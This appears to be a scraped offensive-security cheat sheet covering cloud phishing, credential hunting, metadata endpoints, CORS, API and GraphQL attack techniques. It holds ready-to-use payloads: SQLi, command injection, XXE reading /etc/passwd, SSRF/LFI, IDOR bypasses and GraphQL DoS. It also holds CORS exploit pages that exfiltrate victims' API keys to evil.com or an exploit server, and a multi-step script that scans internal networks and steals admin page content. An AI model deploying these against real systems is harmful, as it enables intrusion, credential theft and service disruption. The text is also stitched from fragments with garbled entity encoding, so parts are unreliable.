    • Phishing is still the #1 method of compromise
    • Target Cloud engineers, Developers, DevOps, etc.
    • Two primary phishing techniques:
       ◇ Cred harvesting / session hijacking
       ◇ Remote workstation compromise w/ C2
    • Attack designed to steal creds and/or session cookies
    • Can be useful when security protections prevent getting shells
    • Email a link to a target employee pointing to cloned auth portal
       ◇ Examples: Microsoft Online (O365, Azure, etc.), G-Suite, AWS Console
    • They auth and get real session cookies… we get them too.
    
    Phishing: Remote Access
    • Phish to compromise a user’s workstation
    • Enables many other options for gaining access to cloud resources
    • Steal access tokens from disk
    • Session hijack
    • Keylog
    • Web Config and App Config files
       ◇ Commonly found on pentests to include cleartext creds
       ◇ WebApps often need read/write access to cloud storage or DBs
       ◇ Web.config and app.config files might contain creds or access tokens
       ◇ Look for management cert and extract to pfx like publishsettings files
       ◇ Often found in root folder of webapp
    • Internal Code Repositories
       ◇ Gold mine for keys
       ◇ Find internal repos:
          ▪ A. Portscan internal web services (80, 443, etc.) then use EyeWitness to screenshot each service to quickly analyze
          ▪ B. Query AD for all hostnames, look for subdomains git, code, repo, bitbucket, gitlab, etc..
       ◇ Can use automated tools (gitleaks, trufflehog, gitrob) or use built-in search features
          ▪ Search for AccessKey, AKIA, id_rsa, credentials, secret, password, and token
    • Command history
    • The commands ran previously may indicate where to look
    • Sometimes creds get passed to the command line
    • Linux hosts command history is here:
       ◇ ~/.bash_history
    • PowerShell command history is here:
       ◇ %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    
    Post-Compromise Recon
    • Who do we have access as?
    • What roles do we have?
    • Is MFA enabled?
    • What can we access (webapps, storage, etc.?)
    • Who are the admins?
    • How are we going to escalate to admin?
    • Any security protections in place (ATP, GuardDuty, etc.)?
    
    Service metadata summary
    AWS
    http://169.254.169.254/metadata/v1/*
    Google Cloud
    http://metadata.google.internal/computeMetadata/v1/*
    DigitalOcean 
    http://169.254.169.254/metadata/v1/*
    Docker 
    http://127.0.0.1:2375/v1.24/containers/json
    Kubernetes ETCD 
    http://127.0.0.1:2379/v2/keys/?recursive=true
    Alibaba Cloud
    http://100.100.100.200/latest/meta-data/*
    Microsoft Azure
    http://169.254.169.254/metadata/v1/*
    
    Logo
    Logo

    CORS

    Tools

    URL accessed

    Access permitted?

    http://normal-website.com/example/

    Yes: same scheme, domain, and port

    http://normal-website.com/example2/

    Yes: same scheme, domain, and port

    In any site disclosing users & passwords (or other sensitive info), try CORS.

    CORS PoC

    CORS PoC 2

    CORS PoC 3 - Sensitive Data Leakage

    CORS JSON PoC

    APIs

    Tools

    General

    REST

    GraphQL

    Tools

    Resources

    Common bugs

    Tips

    XXE Injection: Advanced Exploitation GuideIntigriti
    SQL injection cheat sheet | Web Security AcademyWebSecAcademy
    # https://github.com/s0md3v/Corsy
    python3 corsy.py -u https://example.com
    # https://github.com/chenjj/CORScanner
    python cors_scan.py -u example.com
    # https://github.com/Shivangx01b/CorsMe
    echo "https://example.com" | ./Corsme 
    cat subdomains.txt | ./httprobe -c 70 -p 80,443,8080,8081,8089 | tee http_https.txt
    cat http_https.txt | ./CorsMe -t 70
    # CORSPoc
    # https://tools.honoki.net/cors.html
    # Tools
    https://github.com/Fuzzapi/fuzzapi
    https://github.com/Fuzzapi/API-fuzzer
    https://github.com/flipkart-incubator/Astra
    https://github.com/BBVA/apicheck/
    https://github.com/ngalongc/openapi_security_scanner
    https://github.com/assetnote/kiterunner
    https://github.com/s0md3v/dump/tree/master/json2paths
    https://github.com/API-Security/APIKit
    
    # API keys guesser
    https://api-guesser.netlify.app/
    
    # Wordlists
    https://github.com/chrislockard/api_wordlist
    https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common-api-endpoints-mazen160.txt
    https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content/api
    https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/common-methods/common-methods.txt
    
    # Swagger to burp
    https://rhinosecuritylabs.github.io/Swagger-EZ/
    
    # List swagger routes
    https://github.com/amalmurali47/swagroutes
    
    # Checklist
    https://gitlab.com/pentest-tools/API-Security-Checklist/-/blob/master/README.md
    
    # Best mindmap
    https://dsopas.github.io/MindAPI/play/
    
    # GUID guesser
    https://gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
    
    # Test swagger endpoints
    https://github.com/BishopFox/sj
    # SOAP uses: mostly HTTP and XML, have header and body
    # REST uses: HTTP, JSON , URL and XML, defined structure
    # GraphQL uses: Custom query language, single endpoint
    
    # Always check for race conditions and memory leaks (%00)
    
    # SQLi tip
    {"id":"56456"} - OK
    {"id":"56456 AND 1=1#"} -> OK
    {"id":"56456 AND 1=2#"} -> OK
    {"id":"56456 AND 1=3#"} -> ERROR
    {"id":"56456 AND sleep(15)#"} -> SLEEP 15 SEC
    
    # Shell injection
    - RoR
    Check params like ?url=Kernel#open
    and change like ?url=|ls
    
    # Tip
    If the request returns nothing:
    - Add this header to siumlate a Frontend
    "X-requested-with: XMLHttpRequest"
    - Add params like:
    GET /api/messages             > 401
    GET /api/messages?user_id=1   > 200
    
    # Checklist:
    •  Auth type
    •  Max retries in auth
    •  Encryption in sensible fields
    •  Test from most vulnerable to less
       ◇ Organization's user management
       ◇ Export to CSV/HTML/PDF
       ◇ Custom views of dashboards
       ◇ Sub user creation&management
       ◇ Object sharing (photos, posts,etc)
    • Archive.org
    • Censys
    • VirusTotal
    • Abusing object level authentication
    • Abusing weak password/dictionary brute forcing
    • Testing for mass management, instead /api/videos/1 -> /api/my_videos
    • Testing for excessive data exposure
    • Testing for command injection
    • Testing for misconfigured permissions
    • Testing for SQL injection
    
    Access
    • Limit in repeated requests
    • Check always HTTPS
    • Check HSTS
    • Check distinct login paths /api/mobile/login | /api/v3/login | /api/magic_link
    • Even id is not numeric, try it /?user_id=111 instead /[email protected]
    • Bruteforce login
    • Try mobile API versions
    • Don't assume developer, mobile and web API is the same, test them separately
    
    Input
    • Check distinct methods GET/POST/PUT/DELETE.
    • Validate content-type on request Accept header (e.g. application/xml, application/json, etc.)
    • Validate content-type of posted data (e.g. application/x-www-form-urlencoded, multipart/form-data, application/json, etc.).
    • Validate user input (e.g. XSS, SQL-Injection, Remote Code Execution, etc.).
    • Check sensitive data in the URL.
    • Try input injections in ALL params
    • Locate admin endpoints
    • Try execute operating system command 
       ◇ Linux :api.url.com/endpoint?name=file.txt;ls%20/
    • XXE
       ◇ <!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
    • SSRF
    • Check distinct versions api/v{1..3}
    • If REST API try to use as SOAP changing the content-type to "application/xml" and sent any simple xml to body
    • IDOR in body/header is more vulnerable than ID in URL
    • IDOR:
       ◇ Understand real private resources that only belongs specific user
       ◇ Understand relationships receipts-trips
       ◇ Understand roles and groups
       ◇ If REST API, change GET to other method Add a “Content-length” HTTP header or Change the “Content-type”
       ◇ If get 403/401 in api/v1/trips/666 try 50 random IDs from 0001 to 9999
    • Bypass IDOR limits:
       ◇ Wrap ID with an array {“id”:111} --> {“id”:[111]}
       ◇ JSON wrap {“id”:111} --> {“id”:{“id”:111}}
       ◇ Send ID twice URL?id=<LEGIT>&id=<VICTIM>
       ◇ Send wildcard {"user_id":"*"}
       ◇ Param pollution 
          ▪ /api/get_profile?user_id=<victim’s_id>&user_id=<user_id>
          ▪ /api/get_profile?user_id=<legit_id>&user_id=<victim’s_id>
          ▪ JSON POST: api/get_profile {“user_id”:<legit_id>,”user_id”:<victim’s_id>}
          ▪ JSON POST: api/get_profile {“user_id”:<victim’s_id>,”user_id”:<legit_id>}
          ▪ Try wildcard instead ID
    • If .NET app and found path, Developers sometimes use "Path.Combine(path_1,path_2)" to create full path. Path.Combine has weird behavior: if param#2 is absolute path, then param#1 is ignored.
       ◇ https://example.org/download?filename=a.png -> https://example.org/download?filename=C:\\inetpub\wwwroot\a.png
       ◇ Test: https://example.org/download?filename=\\smb.dns.praetorianlabs.com\a.png
    • Found a limit / page param? (e.g: /api/news?limit=100) It might be vulnerable to Layer 7 DoS. Try to send a long value (e.g: limit=999999999) and see what happens :)
    
    Processing
    •  Check if all the endpoints are protected behind authentication.
    •  Check /user/654321/orders instead /me/orders.
    •  Check auto increment ID's.
    •  If parsing XML, check XXE.
    •  Check if DEBUG is enabled.
    • If found GET /api/v1/users/<id> try DELETE / POST to create/delete users
    • Test less known endpoint POST /api/profile/upload_christmas_voice_greeting
    
    Output
    • If you find sensitive resource like /receipt try /download_receipt,/export_receipt.
    • DoS Limit: /api/news?limit=100 -> /api/news?limit=9999999999
    • Export pdf - try XSS or HTML injection
       ◇ LFI: username=<iframe src="file:///C:/windows/system32/drivers/etc/hosts" height=1000 width=1000/>
       ◇ SSRF: <object data=”http://127.0.0.1:8443”/>
       ◇ Open Port: <img src=”http://127.0.0.1:445”/> if delay is < 2.3 secs is open
       ◇ Get real IP: <img src=”https://iplogger.com/113A.gif”/>
       ◇ DoS: <img src=”http://download.thinkbroadband.com/1GB.zip”/>
          ▪ <iframe src=”http://example.com/RedirectionLoop.aspx”/>
          
          
    # Endpoint bypasses
    # whatever.com/api/v1/users/sensitivedata -> access denied
    # Add to the final endpoint
    .json
    ?
    ..;/
    \..\.\getUSer
    /
    ??
    &details
    #
    %
    %20
    %09
    
    # General info about APIs
    https://openapi.tools/
    
    # Common vulns
    - API Exposure
    - Misconfigured Caching
    - Exposed tokens
    - JWT Weaknesses
    - Authorization Issues / IDOR / BOLA
    - Undocumented Endpoints
    - Different Versions
    - Rate Limiting (BF allowed)
    - Race Conditions
    - XXE injection
    - Switching Content Type
    - HTTP Methods
    - Injection Vulnerabilities
    Logo
    Logo
    # Predictable endppoints
    GET /video/1
    DELETE /video/1
    GET /video/1/delete
    GET /video/2
    
    # Create POST
    # Read GET
    # Update POST PUT
    # Delete PUT DELETE
    
    # Fuzz users & methods to enumerate like /$user$/1 with https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/common-methods/common-methods.txt
    
    # Check if supports SOAP. Change the content-type to "application/xml", add a simple XML in the request body, and see how the API handles it.
    # https://github.com/gsmith257-cyber/GraphCrawler
    # https://github.com/dolevf/graphw00f
    # https://github.com/nikitastupin/clairvoyance
    https://github.com/y0k4i-1337/clairvoyancex
    # https://github.com/assetnote/batchql
    # https://github.com/dolevf/graphql-cop
    
    # https://github.com/doyensec/GQLSpection
    # https://github.com/doyensec/inql
    # https://github.com/swisskyrepo/GraphQLmap
    # https://apis.guru/graphql-voyager/
    # https://gitlab.com/dee-see/graphql-path-enum
    
    # https://graphql.security/
    # https://astexplorer.net/
    
    # Burp extensions
    https://github.com/doyensec/inql
    https://github.com/forcesunseen/graphquail
    https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty/
    https://blog.securelayer7.net/api-penetration-testing-with-owasp-2017-test-cases/
    https://blog.forcesunseen.com/graphql-security-testing-without-a-schema
    https://escape.tech/blog/graphql-security-wordlist/
    https://www.assetnote.io/resources/research/exploiting-graphql
    # IDOR
    Try access any user id other than yours
    
    
    # SQL/NoSQL Injections
    "filters":{
    		"username":"test' or 1=1--"
    	}
    	
    # Rate Limit
    Because of the nature of GraphQL, we can send multiple queries in a single request by batching them together. If the developers did not implement any kind of mechanism to prevent us from sending batch requests than we could potentially bypass rate limiting by sending the following queries in a single request:
    mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
    mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
    mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
    
    # Info disclosure
    A query can be constructed from scratch from verbose error messages even when we don’t have the benefits of introspection.
    
    # DOS
    Similar to XXE billion laughs attack
    
    query {
    &amp;amp;nbsp; posts{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; title
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comments{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comment
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; user{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comments{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   user{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   comments{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   comment
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;  &amp;amp;nbsp; user{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;  &amp;amp;nbsp; comments{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;  &amp;amp;nbsp; comment
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   user{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   comments{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   comment
     &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;       user{
     &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   ...
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
    # Easy to enumeration
    
    # Create {createPost(...)}
    # Read {post(id:"1"){id,..}}
    # Update {updatePost(...)}
    # Delete {deletePost(...)}
    
    To test a server for GraphQL introspection misconfiguration: 
    1) Intercept the HTTP request being sent to the server 
    2) Replace its post content / query with a generic introspection query to fetch the entire backend schema 
    3) Visualize the schema to gather juicy API calls. 
    4) Craft any potential GraphQL call you might find interesting and HACK away!
    
    example.com/graphql?query={__schema%20{%0atypes%20{%0aname%0akind%0adescription%0afields%20{%0aname%0a}%0a}%0a}%0a}
    
    XSS in GraphQL:
    http://localhost:4000/example-1?id=%3C/script%3E%3Cscript%3Ealert('I%20%3C3%20GraphQL.%20Hack%20the%20Planet!!')%3C/script%3E%3Cscript%3E
    http://localhost:4000/example-3?id=%3C/script%3E%3Cscript%3Ealert('I%20%3C3%20GraphQL.%20Hack%20the%20Planet!!')%3C/script%3E%3Cscript%3E
    
    # Introspection query
    __schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
    # Encoded
    fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
    # Formatted
    {
      __schema {
        types {
          name
          fields {
            name
          }
        }
      }
    }
    

    https://normal-website.com/example/

    No: different scheme and port

    http://en.normal-website.com/example/

    No: different domain

    http://www.normal-website.com/example/

    No: different domain

    http://normal-website.com:8080/example/

    No: different port

    NetSPI SQL Injection Wikinetspi
    Logo
    Exploiting PDF generators: A complete guide to finding SSRF vulnerabilities in PDF generatorsIntigriti
    slashparity.com is for sale! Check it out on ExpiredDomains.comExpiredDomains.com
    # Simple test
    curl --head -s 'http://example.com/api/v1/secret' -H 'Origin: http://evil.com'
    
    # There are various exceptions to the same-origin policy:
    • Some objects are writable but not readable cross-domain, such as the location object or the location.href property from iframes or new windows.
    • Some objects are readable but not writable cross-domain, such as the length property of the window object (which stores the number of frames being used on the page) and the closed property.
    • The replace function can generally be called cross-domain on the location object.
    • You can call certain functions cross-domain. For example, you can call the functions close, blur and focus on a new window. The postMessage function can also be called on iframes and new windows in order to send messages from one domain to another.
    
    # Access-Control-Allow-Origin header is included in the response from one website to a request originating from another website, and identifies the permitted origin of the request. A web browser compares the Access-Control-Allow-Origin with the requesting website's origin and permits access to the response if they match.
    
    CORS good example:
    https://hackerone.com/reports/235200
    
    - CORS with basic origin reflection:
    
        With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "Account Details".
        Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
        Send the request to Burp Repeater, and resubmit it with the added header: Origin: https://example.com
        Observe that the origin is reflected in the Access-Control-Allow-Origin header.
        Now browse to the exploit server, enter the following HTML, replacing $url with the URL for your specific lab and test it by clicking "view exploit":
        <script>
           var req = new XMLHttpRequest();
           req.onload = reqListener;
           req.open('get','$url/accountDetails',true);
           req.withCredentials = true;
           req.send();
    
           function reqListener() {
               location='/log?key='+this.responseText;
           };
        </script>
        Observe that the exploit works - you have landed on the log page and your API key is in the URL.
        Go back to the exploit server and click "Deliver exploit to victim".
        Click "Access log", retrieve and submit the victim's API key to complete the lab.
    
     - Whitelisted null origin value
    
         With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "My account".
        Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
        Send the request to Burp Repeater, and resubmit it with the added header Origin: null.
        Observe that the "null" origin is reflected in the Access-Control-Allow-Origin header.
        Now browse to the exploit server, enter the following HTML, replacing $url with the URL for your specific lab, $exploit-server-url with the exploit server URL, and test it by clicking "view exploit":
        <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
           var req = new XMLHttpRequest ();
           req.onload = reqListener;
           req.open('get','$url/accountDetails',true);
           req.withCredentials = true;
           req.send();
    
           function reqListener() {
               location='$exploit-server-url/log?key='+encodeURIComponent(this.responseText);
           };
        </script>"></iframe>
        Notice the use of an iframe sandbox as this generates a null origin request. Observe that the exploit works - you have landed on the log page and your API key is in the URL.
        Go back to the exploit server and click "Deliver exploit to victim".
        Click "Access log", retrieve and submit the victim's API key to complete the lab.
    
    - CORS with insecure certificate
    
        With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "Account Details".
        Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
        Send the request to Burp Repeater, and resubmit it with the added header Origin: http://subdomain.lab-id where lab-id is the lab domain name.
        Observe that the origin is reflected in the Access-Control-Allow-Origin header, confirming that the CORS configuration allows access from arbitrary subdomains, both HTTPS and HTTP.
        Open a product page, click "Check stock" and observe that it is loaded using a HTTP URL on a subdomain.
        Observe that the productID parameter is vulnerable to XSS.
        Now browse to the exploit server, enter the following HTML, replacing $your-lab-url with your unique lab URL and $exploit-server-url with your exploit server URL and test it by clicking "view exploit":
        <script>
           document.location="http://stock.$your-lab-url/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://$your-lab-url/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://$exploit-server-url/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
        </script>
        Observe that the exploit works - you have landed on the log page and your API key is in the URL.
        Go back to the exploit server and click "Deliver exploit to victim".
        Click "Access log", retrieve and submit the victim's API key to complete the lab.
    
    - CORS with pivot attack
    
    Step 1
    First we need to scan the local network for the endpoint. Replace $collaboratorPayload with your own Collaborator payload or exploit server URL. Enter the following code into the exploit server. Click store then "Deliver exploit to victim". Inspect the log or the Collaborator interaction and look at the code parameter sent to it.
    <script>
    var q = [], collaboratorURL = 'http://$collaboratorPayload';
    for(i=1;i<=255;i++){
      q.push(
      function(url){
        return function(wait){
        fetchUrl(url,wait);
        }
      }('http://192.168.0.'+i+':8080'));
    }
    for(i=1;i<=20;i++){
      if(q.length)q.shift()(i*100);
    }
    function fetchUrl(url, wait){
      var controller = new AbortController(), signal = controller.signal;
      fetch(url, {signal}).then(r=>r.text().then(text=>
        {
        location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
      }
      ))
      .catch(e => {
      if(q.length) {
        q.shift()(wait);
      }
      });
      setTimeout(x=>{
      controller.abort();
      if(q.length) {
        q.shift()(wait);
      }
      }, wait);
    }
    </script>
    Step 2
    Clear the code from stage 1 and enter the following code in the exploit server. Replace $ip with the IP address and port number retrieved from your collaborator interaction. Don't forget to add your Collaborator payload or exploit server URL again. Update and deliver your exploit. We will now probe the username field for an XSS vulnerability. You should retrieve a Collaborator interaction with foundXSS=1 in the URL or you will see foundXSS=1 in the log.
    <script>
    function xss(url, text, vector) {
      location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
    }
    
    function fetchUrl(url, collaboratorURL){
      fetch(url).then(r=>r.text().then(text=>
      {
        xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
      }
      ))
    }
    
    fetchUrl("http://$ip", "http://$collaboratorPayload");
    </script>
    
    Step 3
    Clear the code from stage 2 and enter the following code in the exploit server. Replace $ip with the same IP address and port number as in step 2 and don't forget to add your Collaborator payload or exploit server again. Update and deliver your exploit. Your Collaborator interaction or your exploit server log should now give you the source code of the admin page.
    <script>
    function xss(url, text, vector) {
      location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
    }
    function fetchUrl(url, collaboratorURL){
      fetch(url).then(r=>r.text().then(text=>
      {
        xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
      }
      ))
    }
    
    fetchUrl("http://$ip", "http://$collaboratorPayload");
    </script>
    Step 4
    Read the source code retrieved from step 3 in your Collaborator interaction or on the exploit server log. You'll notice there's a form that allows you to delete a user. Clear the code from stage 3 and enter the following code in the exploit server. Replace $ip with the same IP address and port number as in steps 2 and 3. The code submits the form to delete carlos by injecting an iframe pointing to the /admin page.
    <script>
    function xss(url, text, vector) {
      location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
    }
    
    function fetchUrl(url){
      fetch(url).then(r=>r.text().then(text=>
      {
        xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
      }
      ))
    }
    
    fetchUrl("http://$ip");
    </script>
    Click on "Deliver exploit to victim" to submit the code. Once you have submitted the form to delete user carlos then you have completed the lab.
    
    # JSONP
    
    In GET URL append “?callback=testjsonp”
    Response should be:
    testjsonp(<json-data>)
    
    # Bypasses
    Origin:null
    Origin:attacker.com
    Origin:attacker.target.com
    Origin:attackertarget.com
    Origin:sub.attackertarget.com
    <!DOCTYPE html>
    <html>
    <head>
    <title>CORS PoC Exploit</title>
    </head>
    <body>
    <center>
    
    <h1>CORS Exploit<br>six2dez</h1>
    <hr>
    <div id="demo">
    <button type="button" onclick="cors()">Exploit</button>
    </div>
    <script type="text/javascript">
     function cors() {
       var xhttp = new XMLHttpRequest();
       xhttp.onreadystatechange = function() {
         if(this.readyState == 4 && this.status == 200) {
            document.getElementById("demo").innerHTML = this.responseText;
         }
       };
     xhttp.open("GET", "http://<vulnerable-url>", true);
     xhttp.withCredentials = true;
     xhttp.send();
     }
    </script>
    
    </center>
    </body>
    </html>
    <html>
    <script>
    var http = new XMLHttpRequest();
    var url = 'Url';//Paste here Url
    var params = 'PostData';//Paste here POST data
    http.open('POST', url, true);
    
    //Send the proper header information along with the request
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    
    http.onreadystatechange = function() {//Call a function when the state changes.
        if(http.readyState == 4 && http.status == 200) {
            alert(http.responseText);
        }
    }
    http.send(params);
    
    </script>
    </html>
    <html>
    <body>
    <button type='button' onclick='cors()'>CORS</button>
    <p id='corspoc'></p>
    <script>
    function cors() {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
    var a = this.responseText; // Sensitive data from target1337.com about user account
    document.getElementById("corspoc").innerHTML = a;
    xhttp.open("POST", "https://evil.com", true);// Sending that data to Attacker's website
    xhttp.withCredentials = true;
    console.log(a);
    xhttp.send("data="+a);
    }
    };
    xhttp.open("POST", "https://target1337.com", true);
    xhttp.withCredentials = true;
    var body = "requestcontent";
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i); 
    xhttp.send(new Blob([aBody]));
    }
    </script>
    </body>
    </html>
    <!DOCTYPE html>
    <html>
    <head>
    <title>JSONP PoC</title>
    </head>
    <body>
    <center>
    
    <h1>JSONP Exploit<br>YourTitle</h1>
    <hr>
    <div id="demo">
    <button type="button" onclick="trigger()">Exploit</button>
    </div>
    <script>
    
    function testjsonp(myObj) {
      var result = JSON.stringify(myObj)
      document.getElementById("demo").innerHTML = result;
      //console.log(myObj)
    }
    
    </script>
    
    <script >
    
      function trigger() {
        var s = document.createElement("script");
        s.src = "https://<vulnerable-endpoint>?callback=testjsonp";
        document.body.appendChild(s);
    }
    
    </script>
    </body>
    </html>
    Logo
    Cloud Security FAQ - Google Cloud Platform Console Helpsupport.google.com
    Logo
    GitHub - cipher387/Dorks-collections-list: List of Github repositories and articles with list of dorks for different search enginesGitHub

    Docker && Kubernetes
